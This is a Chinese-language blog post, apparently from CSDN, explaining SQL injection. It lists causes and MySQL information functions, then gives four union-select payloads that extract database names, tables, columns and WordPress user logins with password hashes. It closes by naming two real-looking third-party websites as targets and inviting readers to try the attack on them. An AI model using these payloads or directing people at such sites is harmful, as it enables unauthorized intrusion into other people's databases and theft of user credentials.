sql注入

sql注入:

SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

 

SQL注入的产生原因通常表现在以下几方面:

①不当的类型处理;

②不安全的数据库配置;

③不合理的查询集处理;

④不当的错误处理;

⑤转义字符处理不合适;

⑥多个提交处理不当。

 

PHP内置函数:

1:system_user() 系统用户名

2:user()        用户名

3:current_user  当前用户名

4:session_user()连接数据库的用户名

5:database()    数据库名

6:version()     MYSQL数据库版本

7:load_file()   MYSQL读取本地文件的函数

8:@@datadir     读取数据库路径

9:@@basedir    MYSQL 安装路径

10:@@version_compile_os   操作系统

 

1,爆库

 and 1=2 union select group_concat(SCHEMA_NAME)from 

information_schema.SCHEMATA--

 

 

2,爆表

 and 1=2 union select group_concat(TABLE_NAME)from  information_schema.TABLES whereTABLE_SCHEMA=0x776f72647072657373--

 

3,爆字段

 and 1=2 union select group_concat(COLUMN_NAME)from 

information_schema.COLUMNSwhere TABLE_name=0x77705f7573657273--

 

4,爆密码

and 1=2 unionselect group_concat(user_login,0x7c,user_pass) from

wordpress.wp_users--


我的测试案例是:

案例:http://www.rxydpq.com/news_show.php?id=66

案例二: http://www.zhangshiyu.com.cn/www/news_show.php?id=572

可以拿这两个网站试一下哦


由于我是测试一下  不能把具体的步骤发出来,嘻嘻,你们懂的,我可不想被定为窃取数据,哈哈哈,前面的4个步骤就可以得到网站的数据库信息,大家可以互相交流哦!!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值